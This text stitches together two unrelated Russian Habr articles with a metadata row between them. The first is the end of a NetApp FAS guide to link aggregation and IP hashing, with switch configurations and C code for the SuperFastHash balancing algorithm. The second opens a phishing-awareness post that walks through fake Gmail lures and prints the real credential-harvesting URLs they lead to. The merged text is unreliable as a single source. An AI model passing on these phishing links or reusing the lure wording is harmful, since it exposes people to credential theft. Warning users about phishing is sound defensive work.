И не забываем сделать аналогичные настройки VIF и VLAN на втором контроллере, чтобы было «на что» переезжать. На стороне свичей на портах от первого контроллера разрешаем хождение тех VLAN'ов, которые есть у соседа, чтобы была связность на случай переезда.
Также обратите внимение, что СХД NetApp FAS использует нумерацию интерфейсов для балансировки в VIF не в алфавитном порядке, а в порядке добавления.
Например, если VIF создан такой командой «ifgrp create lacp vif1 -b ip e0d e0b e0c e0a», то e0d будет 0-ым интерфейсом, e0b — 1, e0c — 2, e0a — 3.
**Пример настройки резолва, экспорта и Qtree для netApp 7-Mode**
```
san01a> rdfile /etc/hosts
#Auto-generated by setup Thu may 22 13:26:59 GMT 2014
127.0.0.1 localhost localhost-stack
127.0.10.1 localhost-10 localhost-bsd
127.0.20.1 localhost-20 localhost-sk
10.10.40.10 san01a san01a-e0M
192.168.1.185 san01a san01a-e0P
10.10.53.30 san01a-vif1-53
```
```
san01a> exportfs
/vol/vol_filerA_nfsA -sec=sys,rw,nosuid
/vol/vol_filerA_nfsB -sec=sys,rw,nosuid
/vol/vol_filerA_nfsC -sec=sys,rw,nosuid
/vol/vol_filerA_nfsD -sec=sys,rw,nosuid
```
```
san01a> qtree status
Volume Tree Style Oplocks Status
-------- -------- ----- -------- ---------
rootvol unix enabled normal
vol_filerA_nfsA unix enabled normal
vol_filerA_nfsA qtree_filerA_nfsA unix enabled normal
vol_filerA_nfsB unix enabled normal
vol_filerA_nfsB qtree_filerA_nfsB unix enabled normal
vol_filerA_nfsC unix enabled normal
vol_filerA_nfsC qtree_filerA_nfsC unix enabled normal
vol_filerA_nfsD unix enabled normal
vol_filerA_nfsD qtree_filerA_nfsD unix enabled normal
```
К VMware ESXi подключены следующие датасторы
```
ds_filerA_nfsA 10.10.53.30:/vol/vol_filerA_nfsA/qtree_filerA_nfsA
ds_filerA_nfsB 10.10.53.31:/vol/vol_filerA_nfsB/qtree_filerA_nfsB
ds_filerA_nfsC 10.10.53.32:/vol/vol_filerA_nfsC/qtree_filerA_nfsC
ds_filerA_nfsD 10.10.53.33:/vol/vol_filerA_nfsD/qtree_filerA_nfsD
```
После настройки даём нагрузку от тестовых VM и проверяем загруженность по портам со стороны контроллера СХД:
**Проверяем нагрузку на порты NetApp в 7-Mode**
```
san01a> ifgrp stat vif1 10
Interface group(trunk) vif1
e0b e0a e0c e0d
Pkts In Pkts Out Pkts In Pkts Out Pkts In Pkts Out Pkts In Pkts Out
14225k 13673k 15542k 249k 13838k 11690k 15544k 7809k
46075 38052 90911 7 45882 37666 90812 37704
46953 37735 91581 4 46506 37613 91777 37625
46822 38016 91409 7 45498 37589 91670 37687
46906 38046 91514 6 45469 37591 91495 37588
46600 37737 91308 4 46554 37538 91514 37610
46792 37929 91371 7 45803 37532 91261 37508
46845 37831 91228 8 46307 37517 91450 37587
```
Итак видно, что по интерфейсу e0a (столбец Pkts Out) трафик практически не отправляется.
**Подробный вывод по портам контроллера СХД**
```
san01a> ifstat -a
-- interface e0a (3 hours, 30 minutes, 53 seconds) --
RECEIVE
Frames/second: 9147 | Bytes/second: 916k | Errors/minute: 0
Discards/minute: 0 | Total frames: 16347k | Total bytes: 73753m
Total errors: 0 | Total discards: 0 | Multi/broadcast: 0
No buffers: 0 | Non-primary u/c: 0 | Tag drop: 0
Vlan tag drop: 0 | Vlan untag drop: 0 | Vlan forwards: 0
Vlan broadcasts: 0 | Vlan unicasts: 0 | CRC errors: 0
Runt frames: 0 | Fragment: 0 | Long frames: 0
Jabber: 0 | Alignment errors: 0 | Bus overruns: 0
Xon: 0 | Xoff: 0 | Jumbo: 8359k
TRANSMIT
Frames/second: 1 | Bytes/second: 87 | Errors/minute: 0
Discards/minute: 0 | Total frames: 249k | Total bytes: 7674m
Total errors: 0 | Total discards: 0 | Multi/broadcast: 1006
Queue overflows: 0 | No buffers: 0 | Max collisions: 0
Single collision: 0 | Multi collisions: 0 | Late collisions: 0
Xon: 0 | Xoff: 0 | Jumbo: 239k
LINK_INFO
Current state: up | Up to downs: 2 | Speed: 1000m
Duplex: full | Flowcontrol: none
-- interface e0b (3 hours, 30 minutes, 53 seconds) --
RECEIVE
Frames/second: 4678 | Bytes/second: 467k | Errors/minute: 0
Discards/minute: 0 | Total frames: 14637k | Total bytes: 73533m
Total errors: 0 | Total discards: 0 | Multi/broadcast: 0
No buffers: 0 | Non-primary u/c: 0 | Tag drop: 0
Vlan tag drop: 0 | Vlan untag drop: 0 | Vlan forwards: 0
Vlan broadcasts: 0 | Vlan unicasts: 0 | CRC errors: 0
Runt frames: 0 | Fragment: 0 | Long frames: 0
Jabber: 0 | Alignment errors: 0 | Bus overruns: 0
Xon: 0 | Xoff: 0 | Jumbo: 8352k
TRANSMIT
Frames/second: 3773 | Bytes/second: 123m | Errors/minute: 0
Discards/minute: 0 | Total frames: 14007k | Total bytes: 57209m
Total errors: 0 | Total discards: 1 | Multi/broadcast: 1531
Queue overflows: 1 | No buffers: 0 | Max collisions: 0
Single collision: 0 | Multi collisions: 0 | Late collisions: 0
Xon: 0 | Xoff: 0 | Jumbo: 2756k
LINK_INFO
Current state: up | Up to downs: 2 | Speed: 1000m
Duplex: full | Flowcontrol: none
-- interface e0c (3 hours, 30 minutes, 53 seconds) --
RECEIVE
Frames/second: 4630 | Bytes/second: 461k | Errors/minute: 0
Discards/minute: 0 | Total frames: 14243k | Total bytes: 69574m
Total errors: 0 | Total discards: 0 | Multi/broadcast: 0
No buffers: 0 | Non-primary u/c: 0 | Tag drop: 0
Vlan tag drop: 0 | Vlan untag drop: 0 | Vlan forwards: 0
Vlan broadcasts: 0 | Vlan unicasts: 0 | CRC errors: 0
Runt frames: 0 | Fragment: 0 | Long frames: 0
Jabber: 0 | Alignment errors: 0 | Bus overruns: 0
Xon: 0 | Xoff: 0 | Jumbo: 7800k
TRANSMIT
Frames/second: 3756 | Bytes/second: 123m | Errors/minute: 0
Discards/minute: 0 | Total frames: 12022k | Total bytes: 189g
Total errors: 0 | Total discards: 0 | Multi/broadcast: 1003
Queue overflows: 0 | No buffers: 0 | Max collisions: 0
Single collision: 0 | Multi collisions: 0 | Late collisions: 0
Xon: 0 | Xoff: 0 | Jumbo: 6283k
LINK_INFO
Current state: up | Up to downs: 2 | Speed: 1000m
Duplex: full | Flowcontrol: none
-- interface e0d (3 hours, 30 minutes, 53 seconds) --
RECEIVE
Frames/second: 9127 | Bytes/second: 915k | Errors/minute: 0
Discards/minute: 0 | Total frames: 16349k | Total bytes: 73554m
Total errors: 0 | Total discards: 0 | Multi/broadcast: 0
No buffers: 0 | Non-primary u/c: 0 | Tag drop: 0
Vlan tag drop: 0 | Vlan untag drop: 0 | Vlan forwards: 0
Vlan broadcasts: 0 | Vlan unicasts: 0 | CRC errors: 0
Runt frames: 0 | Fragment: 0 | Long frames: 0
Jabber: 0 | Alignment errors: 0 | Bus overruns: 0
Xon: 0 | Xoff: 0 | Jumbo: 8339k
TRANSMIT
Frames/second: 3748 | Bytes/second: 123m | Errors/minute: 0
Discards/minute: 0 | Total frames: 8140k | Total bytes: 62385m
Total errors: 0 | Total discards: 0 | Multi/broadcast: 1213
Queue overflows: 0 | No buffers: 0 | Max collisions: 0
Single collision: 0 | Multi collisions: 0 | Late collisions: 0
Xon: 0 | Xoff: 0 | Jumbo: 2413k
LINK_INFO
Current state: up | Up to downs: 2 | Speed: 1000m
Duplex: full | Flowcontrol: none
```
###### [Свитч](#switch)
Идём на сторону свитча (свитч усредняет данные за период в несколько минут, потому утилизация лишь 80%, а не почти 100%) и видим, что порт Ethernet 1/11 практически не принимает фреймы.
**Пример настройки двух Cisco Catalyst 3850 в стеке через 1GBE порты**
Обратите внимание на "*mode **active***" (LACP) в настройке интерфейса строки *channel-group 1 mode active*. *Mode active* (LACP) соответствует *Dynamic Multi-Mode* у NetApp. Подробнее смотри TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf).
Также обратите внимание на "***flowcontrol receive on***", установка этого параметра может варьироваться и зависит от нескольких параметров: скорости порта и типа коммутатора. Если хранилище «отправляет» (*flowcontrol **send***) сообщения о контроле потока, то «с другой стороны» свич обязан быть настроен на «приём» управления потоком (*flowcontrol **receive on***). [Побробнее про flowcontrol](http://habrahabr.ru/post/209422/#flowcontrol).
И не забываем про рекомендации по настройке [Spanning-Tree](http://habrahabr.ru/post/209422/#STP), где желательно включить RSTP или проприетарный Rapid‐PVST+ и установить порты свитча подключённых к конечным узлам, в состояние *spanning-tree portfast*.
Системы NetApp FAS поддерживают CDP, его можно включить или оставить выключенным.
```
system mtu 9198
!
spanning-tree mode rapid-pvst
!
interface Port-channel1
description N1A-1G-e0a-e0b
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
spanning-tree guard loop
!
interface Port-channel2
description N1B-1G-e0a-e0b
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
spanning-tree guard loop
!
interface GigabitEthernet1/0/1
description NetApp-A-e0a
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 1 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet2/0/1
description NetApp-A-e0b
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 1 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet1/0/2
description NetApp-B-e0a
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 2 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet2/0/2
description NetApp-B-e0b
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 2 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
```
**Пример настройки двух Cisco Catalyst 6509 в стеке через 1GBE порты**
Обратите внимание на "*mode **active***" (LACP) в настройке интерфейса строки *channel-group 1 mode active*. *Mode active* (LACP) соответствует *Dynamic Multi-Mode* у NetApp. Подробнее смотри TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf).
Также обратите внимание на "***flowcontrol receive on***", установка этого параметра может варьироваться и зависит от нескольких параметров: скорости порта и типа коммутатора. Если хранилище «отправляет» (*flowcontrol **send***) сообщения о контроле потока, то «с другой стороны» свич обязан быть настроен на «приём» управления потоком (*flowcontrol **receive on***). [Побробнее про flowcontrol](http://habrahabr.ru/post/209422/#flowcontrol).
И не забываем про рекомендации по настройке [Spanning-Tree](http://habrahabr.ru/post/209422/#STP), где желательно включить RSTP или проприетарный Rapid‐PVST+ и установить порты свитча подключённых к конечным узлам, в состояние *spanning-tree portfast*.
Системы NetApp FAS поддерживают CDP, его можно включить или оставить выключенным.
Пример для Cisco IOS Release 12.2(33)SXI and later releases
```
! For Cisco IOS Release 12.2(33)SXI and later releases
system mtu 9198
!
spanning-tree mode rapid-pvst
!
interface Port-channel1
description N1A-1G-e0a-e0b
switchport
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
spanning-tree guard loop
end
!
interface Port-channel2
description N1B-1G-e0a-e0b
switchport
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
spanning-tree guard loop
end
!
interface GigabitEthernet1/0/1
description NetApp-A-e0a
switchport
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 1 mode active
spanning-tree guard loop
spanning-tree portfast edge trunk
end
!
interface GigabitEthernet2/0/1
description NetApp-A-e0b
switchport
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 1 mode active
spanning-tree guard loop
spanning-tree portfast edge trunk
end
!
interface GigabitEthernet1/0/2
description NetApp-B-e0a
switchport
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 2 mode active
spanning-tree guard loop
spanning-tree portfast edge trunk
end
!
interface GigabitEthernet2/0/2
description NetApp-B-e0b
switchport
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 2 mode active
spanning-tree guard loop
spanning-tree portfast edge trunk
end
```
**Пример настройки двух Cisco Catalyst 3750 в стеке через 1GBE порты**
Обратите внимание на "*mode **active***" (LACP) в настройке интерфейса строки *channel-group 11 mode active*. *Mode active* (LACP) соответствует *Dynamic Multi-Mode* у NetApp. Подробнее смотри TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf).
Также обратите внимание на "***flowcontrol receive on***", установка этого параметра может варьироваться и зависит от нескольких параметров: скорости порта и типа коммутатора. Если хранилище «отправляет» (*flowcontrol **send***) сообщения о контроле потока, то «с другой стороны» свич обязан быть настроен на «приём» управления потоком (*flowcontrol **receive on***). [Побробнее про flowcontrol](http://habrahabr.ru/post/209422/#flowcontrol).
И не забываем про рекомендации по настройке [Spanning-Tree](http://habrahabr.ru/post/209422/#STP), где желательно включить RSTP или проприетарный Rapid‐PVST+ и установить порты свитча подключённых к конечным узлам, в состояние *spanning-tree portfast*.
Системы NetApp FAS поддерживают CDP, его можно включить или оставить выключенным.
```
system mtu 9198
!
spanning-tree mode rapid-pvst
!
interface Port-channel11
description NetApp-A-e0a-e0b
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface Port-channel12
description NetApp-B-e0a-e0b
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet1/0/1
description NetApp-A-e0a
switchport trunk encapsulation dot1q
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 11 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet2/0/1
description NetApp-A-e0b
switchport trunk encapsulation dot1q
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 11 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet1/0/2
description NetApp-B-e0a
switchport trunk encapsulation dot1q
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 12 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
!
interface GigabitEthernet2/0/2
description NetApp-B-e0b
switchport trunk encapsulation dot1q
switchport trunk native vlan 1
switchport trunk allowed vlan 53
switchport mode trunk
flowcontrol receive on
cdp enable
channel-group 12 mode active
spanning-tree guard loop
spanning-tree portfast trunk feature
```
**Пример настройки двух Cisco Small Business SG500 в стеке через 10GBE порты**
Обратите внимание на "*mode **active***" (LACP) в настройке интерфейса строки *channel-group 1 mode active*. *Mode active* (LACP) соответствует *Dynamic Multi-Mode* у NetApp. Подробнее смотри TR-[3802](http://www.netwell.ru/docs/netapp/rus_tr-3802_ethernet_storage_bp.pdf).
Также обратите внимание на "***flowcontrol off***", установка этого параметра может варьироваться и зависит от нескольких параметров: скорости порта и типа коммутатора. Если хранилище «не отправляет и не принимает» команды (*flowcontrol **off***) контроля потока, то «с другой стороны» свич тоже должен «не принимать и не отправлять» их. [Побробнее про flowcontrol](http://habrahabr.ru/post/209422/#flowcontrol).
И не забываем про рекомендации по настройке [Spanning-Tree](http://habrahabr.ru/post/209422/#STP), где желательно включить RSTP и установить порты свитча подключённых к конечным узлам в состояние *spanning-tree portfast*.
```
interface Port-channel1
description N1A-10G-e1a-e1b
spanning-tree ddportfast
switchport trunk allowed vlan add 53
macro description host
!next command is internal.
macro auto smartport dynamic_type host
flowcontrol off
!
interface Port-channel2
description N1B-10G-e1a-e1b
spanning-tree ddportfast
switchport trunk allowed vlan add 53
macro description host
!next command is internal.
macro auto smartport dynamic_type host
flowcontrol off
!
port jumbo-frame
!
interface tengigabitethernet1/1/1
description NetApp-A-e1a
channel-group 1 mode active
flowcontrol off
!
interface tengigabitethernet2/1/1
description NetApp-A-e1b
channel-group 1 mode active
flowcontrol off
!
interface tengigabitethernet1/1/2
description NetApp-B-e1a
channel-group 2 mode active
flowcontrol off
!
interface tengigabitethernet2/1/2
description NetApp-B-e1b
channel-group 2 mode active
flowcontrol off
```
**Пример настройки HP 6120XG в блейд шасси HP c7000 через 10GBE порты**
Обратите внимание, если flowcontrol, в конфигурации, нигде не фигурирует, значит он в состоянии "***flowcontrol auto***", и если на портах хранилища, которые подключены к коммутатору, flowcontol выключен, то на свиче на соответствующих портах, он будет в состоянии «off». Установка параметра flowcontrol может варьироваться, и зависит от нескольких параметров: скорости порта и типа коммутатора. Если хранилище «не отправляет и не принимает» команды (*flowcontrol **off***) контроля потока, то «с другой стороны» свич тоже должен «не принимать и не отправлять» их. [Побробнее про flowcontrol](http://habrahabr.ru/post/209422/#flowcontrol).
И не забываем про рекомендации по настройке [Spanning-Tree](http://habrahabr.ru/post/209422/#STP), где желательно включить RSTP и установить порты свитча подключённых к конечным узлам в состояние *spanning-tree portfast*.
```
# HP 6120XG from HP c7000 10Gb/s
trunk 17-18 Trk1 LACP
trunk 19-20 Trk2 LACP
vlan 201
name "N1AB-10G-e1a-e1b-201"
ip address 192.168.201.222 255.255.255.0
tagged Trk1-Trk2
jumbo
exit
vlan 202
name "N1AB-10G-e1a-e1b-202"
tagged Trk1-Trk2
no ip address
jumbo
exit
spanning-tree force-version rstp-operation
```
**Status and Counters - Port Utilization**
```
Rx Tx
Port Mode | ------------------------- | -------------------------
| Kbits/sec Pkts/sec Util | Kbits/sec Pkts/sec Util
------- --------- + ---------- --------- ---- + ---------- ---------- ---
контроллер
1/11-Trk10 1000FDx| 5000 0 00.50 | 23088 7591 02.30
1/12-Trk10 1000FDx| 814232 12453 81.42 | 19576 3979 01.95
2/11-Trk10 1000FDx| 810920 12276 81.09 | 20528 3938 02.05
2/12-Trk10 1000FDx| 811232 12280 81.12 | 23024 7596 02.30
сервер
1/17-Trk22 1000FDx| 23000 7594 02.30 | 810848 12275 81.08
1/18-Trk22 1000FDx| 23072 7592 02.30 | 410320 6242 41.03
2/17-Trk22 1000FDx| 19504 3982 01.95 | 408952 6235 40.89
2/18-Trk22 1000FDx| 20544 3940 02.05 | 811184 12281 81.11
```
Видна нагрузка на приём (Rx) для контроллера в столбце «Rx Util» и загрузка на передачу (Tx) для сервера в столбце «Tx Util». При этом видно, что 2 датастора делят один линк контроллера.
При запуске генерации линейной записи на всех 4 VM и соответственно 4 NFS шарах балансировка трафика от СХД не зависит, поэтому картина ожидаемая.
#### [Подбор IP](#findip)
Получается, что СХД при агрегации каналов с балансировкой по IP использует не все доступные линии, как должно быть по теории, а только 3 из 4-х. При этом все остальные участники (свитч и ESXi) балансируют правильно по всем 4-м линиям. Трафик 2-х датасторов от СХД до свитча идет в одном линке, а от свитча до ESXi уже по двум.
Аналогичную картину наблюдаем при работе по протоколу iSCSI. Один из 4-х линков СХД на исходящую связь практически не загружен (5-10 пакетов за 10 секунд). На втором контроллере и другом сервере ситуация аналогичная.
Почему это происходит? Да потому что хеш суммы двух IP пар совпадают, заставляя алгоритм выбирать один и тот же линк. Другими словами нужно просто подобрать другие IP.
Можно просто перебирать варианты IP. В написании программы подбора IP адресов большая трудность заключается в том, что алгоритм использует побитовые сдвиги над знаковым 32битным целым и операции сложения над ними же (переполнения отбрасываются). Поскольку скриптовые языки нынче слабо ориентированы на фиксированную битность чисел, то добиться нормального расчета на python не удалось. Поэтому была написана на C маленькая программа расчета по всему диапазону, а потом использовать результаты в переборе.
#### [Алгоритм SuperFastHash](#algoritm)
Начиная с версии Data ONTAP 7.3.2 для выбора пути используется не просто операция XOR над двумя IP адресами источника и получателя *((source\_address XOR destination\_address) % number\_of\_links)*. А более сложный алгоритм с побитовыми сдвигами под названием SuperFastHash представляющий более динамический, более сбалансированный способ распределения нагрузки и обеспечивает лучшую балансировку для большого количества клиентов. Результат получается почти тот же, но каждая TCP сессия ассоциируется только с одним интерфейсом.
**Coded by Alexander Gordienko**
```
#include
int debug = 0;
void f\_shiftL(int \*r, int step, int i, int offset) {
r[step] = r[i] << offset;
if (debug > 0) {
printf("\nStep %i Left Shift %i %i\n", step, i, offset);
printf("\t%i << %i\n", r[i], offset);
printf("\t%i\n", r[step]);
}
}
void f\_shiftR(int \*r, int step, int i, int offset) {
r[step] = r[i] >> offset;
if (debug > 0) {
printf("\nStep %i Right Shift %i %i\n", step, i, offset);
printf("\t%i\n", r[i]);
printf("\t%i\n", r[step]);
}
}
void f\_xor(int \*r, int step, int i, int j) {
r[step] = r[i] ^ r[j];
if (debug > 0) {
printf("\nStep %i XOR %i %i\n", step, i, j);
printf("\t%i\n", r[i]);
printf("\t%i\n", r[j]);
printf("\t%i\n", r[step]);
}
}
void f\_sum(int \*r, int step, int i, int j) {
r[step] = r[i] + r[j];
if (debug > 0) {
printf("\nStep %i ADD %i %i\n", step, i, j);
printf("\t%i\n", r[i]);
printf("\t%i\n", r[j]);
printf("\t%i\n", r[step]);
}
}
int balance\_ip\_netapp (int net, int src, int dst, int link\_cnt) {
int res[30];
res[0] = net\*256 + src;
res[1] = net\*256 + dst;
//printf ("a = %i.%i (%i)\n", net, src, res[0]);
//printf ("b = %i.%i (%i)\n", net, dst, res[1]);
f\_shiftL(res, 2, 1,11);
f\_xor (res, 3, 0, 2);
f\_shiftL(res, 4, 0,16);
f\_xor (res, 5, 3, 4);
f\_shiftR(res, 6, 5,11);
f\_sum (res, 7, 5, 6);
f\_shiftL(res,15, 7, 3);
f\_xor (res,16, 7,15);
f\_shiftR(res,17,16, 5);
f\_sum (res,18,16,17);
f\_shiftL(res,19,18, 4);
f\_xor (res,20,18,19);
f\_shiftR(res,21,20,17);
f\_sum (res,22,20,21);
f\_shiftL(res,23,22,25);
f\_xor (res,24,22,23);
f\_shiftR(res,25,24, 6);
f\_sum (res,26,24,25);
res[27] = res[26] % link\_cnt;
if (res[27] < 0) {
res[27] = res[27] + link\_cnt;
}
printf ("%i.%i -> %i, %i\n", net, src, dst, res[27]);
return 0;
}
int main() {
int src, dst, interface;
//Задаём количество сетевых интерфейсов
interface = 4;
printf ("IP Octet3.IP Octet4 Source -> IP Octet4 Destination, Interface\n");
//Начинаем перебор destination для четверного октета IP адреса (в примере с 21 до 23)
for (src=21; src<=23; src++) {
//Начинаем перебор source для четверного октета IP адреса (в примере с 30 до 250)
for (dst=30; dst<=250; dst++) {
//Задаём третий октет IP адреса (в примере 52 и 53)
balance\_ip\_netapp(52, dst, src, interface );
balance\_ip\_netapp(53, dst, src, interface );
}
}
}
```
Кстати говоря для быстрого получения результата очень удобно воспользоваться [онлайн компилятором](http://www.tutorialspoint.com/compile_cpp11_online.php).
Ниже даны варианты выбора IP адресов СХД при условии наличия 3-х серверов (с IP адресами, заканчивающимися на 21, 22 и 23 и количеством интерфейсов к системе хранения 3, 4 и 4 соответственно).
Расчет делался для двух сетей ХХ.YY.52.ZZ/24 и ХХ.YY.53.ZZ/24. Подбирались IP адреса для СХД, удовлетворяющие вышеописанным условиям.
##### [Как пользоваться табличкой](#howto-use-the-table)
При обмене трафиком между сервером c IP ХХ.YY.52.22 и алиасом СХД ХХ.YY.52.35 трафик:
от СХД до свитча (столбец NetApp Out, 22) пойдет по интерфейсу с номером 2 по нумерации СХД от свитча до СХД (столбец NetApp In, 22) пойдет по интерфейсу с номером 1 по нумерации свитча от свитча до сервера и от сервера до свитча (столбец Server InOut, 22) пойдет по порту 1 в нумерации сервера и свитча соответственно (не факт, что считают они одинаково)
Видно, что для каждого сервера трафик с разными алиасами на одном контроллере будет идти по разным интерфейсам. Аналогично трафик с разных серверов на один IP СХД пойдет по разным интерфейсам.
При написании использовались материалы Александра Гордиенко, [Агрегация каналов и балансировка трафика по IP со стороны NetApp](https://communities.netapp.com/thread/32967).
[Обновленная версия статьи и алгоритма на С++](http://blog.sentrium.io/ethernet-port-aggregation-and-load-balancing-with-ontap).
**Замечания по ошибкам в тексте прошу направлять в ЛС.** | https://habr.com/ru/post/215351/ | null | ru | null |
# Примеры фишинговых сообщений электронной почты
Я не случайно поставил в заглавие поста картинку с котиком. Это один из примеров манипулирования человеческим сознанием, апеллирование к жалости. Методы воздействия злоумышленников, использующих такие приемы, находятся в области практической психологии и относятся к cоциальной инженерии. Играя на эмоциях, чувствах, страхах и рефлексах людей злоумышленники получают доступ к интересующей их информации. Все эти методы используются злоумышленниками при создании фишинговых почтовых сообщений.
**Внимание, под катом много изображений.**
К сожалению, уровень осведомленности пользователей о современных угрозах довольно низок, поэтому, как и обещал, постараюсь описать основные приемы.
При атаке на пользователей электронной почты у злоумышленников сейчас две основных цели: узнать пароль пользователя или попытаться заставить скачать некий файл. Для того чтобы собрать основные векторы по первому случаю — я создал ящик и «заказал» его взлом на нескольких площадках, которые довольно легко обнаружил с помощью поисковых систем.
Я не буду рассматривать представленные фишинговые домены и адреса почт: рядовой пользователь не запомнит чем отличается google.com/index.php от google.com.indexphp.cc. Основное, что я хочу донести — не надо слепо следовать каким-то указаниям в почте, особенно тем, которые побуждают выполнять некие действия здесь и сейчас, иначе случится что-то плохое.
Gmail — документы
-----------------
Письмо отправлено с gmail адреса и сообщает о неких документах. В деловой переписке, особенно при большом потоке писем легко кликнуть на документ, попав на фишинговую страницу:
Хотя адрес «документов» ведет на neo4-yandex.ru, тем не менее с этого домена происходит редирект на:
(в коде страницы установлен сниффер, который логгирует все заходы на страницу — ``)
[s-mail-google.com/myaccount/ru/index.php?id=&/id=20154748705121097](http://s-mail-google.com/myaccount/ru/index.php?id=&/id=20154748705121097)
Обратите внимание на старый логотип Google на фишинговой странице — многие ли из вас отметили, что он старый? А много ли пользователей помнят или знают о том, что у Google уже новый лого? Скорее всего, форма была сделана с помощью инструмента [Social-Engineer Toolkit](https://github.com/trustedsec/social-engineer-toolkit) , в нем этот логотип не обновлен. А может злоумышленники просто не обращают на это никакого внимания и не обновляют свои поделки.
Gmail — недоставленное сообщение
--------------------------------
Приходит письмо, о том, что некоторые письма не были доставлены. А если что-то важное потерялось?
Многие люди по природе мнительны, поэтому клик по ссылке, а там уже известный редирект на: [s-mail-google.com/myaccount/ru/index.php?id=&/id=20154748705121097](http://s-mail-google.com/myaccount/ru/index.php?id=&/id=20154748705121097)
Gmail — срочно сменить пароль
-----------------------------
Пользователь, какие-то нехорошие личности взломали твой пароль!
Обычные пользователи, скорее всего, пойдут менять пароль, только вот адрес для смены совершенно неподходящий: [google.mail.com.ru-id322322.ru/548589203339099000020039939/o/p/l/?id376=YWtzZWthdHlhQGdtYWlsLmNvbXxha3Nla2F0eWE=](http://google.mail.com.ru-id322322.ru/548589203339099000020039939/o/p/l/?id376=YWtzZWthdHlhQGdtYWlsLmNvbXxha3Nla2F0eWE=)
Gmail — ваша почта будет заблокирована
--------------------------------------
Вы сделали что-то неправильно (ведь рядовые пользователи «не разбираются в компьютерах»), теперь надо все исправить, иначе удалят ящик:
Что тут у нас? Опять старый логотип, но есть и кое-что новое — в URL передается адрес атакуемого ящика, для большей достоверности. Пользователь переходит по ссылке вида: [w-google.com/account\_c/mailer/0/u/16281666201206/?email=privethabr@gmail.com&fail=1&cGRmJmhsPV3N0BJmhsPXJnbWFpbC5j1VyJmFjdb20mbGV0EVyucGRmJmhsPVyPXZ5cGlza2EucGRdVyGmJmhsPXJ1JmFjdD1%27](http://w-google.com/account_c/mailer/0/u/16281666201206/?email=privethabr@gmail.com&fail=1&cGRmJmhsPV3N0BJmhsPXJnbWFpbC5j1VyJmFjdb20mbGV0EVyucGRmJmhsPVyPXZ5cGlza2EucGRdVyGmJmhsPXJ1JmFjdD1%27) и попадает на «персональную страничку»:
Gmail — спам
------------
Вы рассылали спам, теперь Вы не можете отправлять письма. Необходимо подтвердить аккаунт:
Опять старый логотип. Вектор вроде новый, но ведет, опять же на уже известную нам страничку: [s-mail-google.com/u/0/accounts/index.php?id=&/id=d7115e86e7423e7aea202cebf544de21](http://s-mail-google.com/u/0/accounts/index.php?id=&/id=d7115e86e7423e7aea202cebf544de21)
Gmail — черный список
---------------------
Вы добавлены в черный список, шутки кончились. Срочно подтвердите что вы не бот-программа:
По ссылке уже известный адрес: [google.mail.com.ru-id322322.ru/?login=YWtzZWthdHlhfGFrc2VrYXR5YUBnbWFpbC5jb20=](http://google.mail.com.ru-id322322.ru/?login=YWtzZWthdHlhfGFrc2VrYXR5YUBnbWFpbC5jb20=)
Gmail — пора увеличить объем
----------------------------
Почтовый ящик почти заполнен, необходимо увеличить его объем. Надо, так надо:
Вот это письмо мне понравилось. Я ожидал стандартную форму логина, но нет, злоумышленники пошли другим путем. Такое внимание к деталям: указан логин жертвы, ссылка «изменить» неактивна, но самое интересное дальше: [account-google.ru.com/ServicesLogin/settings/?account=privethabr&?service=mail&passive=true&rm=false&continue=https](http://account-google.ru.com/ServicesLogin/settings/?account=privethabr&?service=mail&passive=true&rm=false&continue=https)://mail.google.com/mail/
Указан логин жертвы, интерфейс явно гугловый, даже видно что место и правда кончилось. Да и домен подобран очень в тему. Но вот логотип опять старый. В общем, это пока явный фаворит фишингостроения.
Gmail — рабочие моменты
-----------------------
Способ сомнительный для рядовых пользователей, письмо с какой-то заявкой или реквизитами:
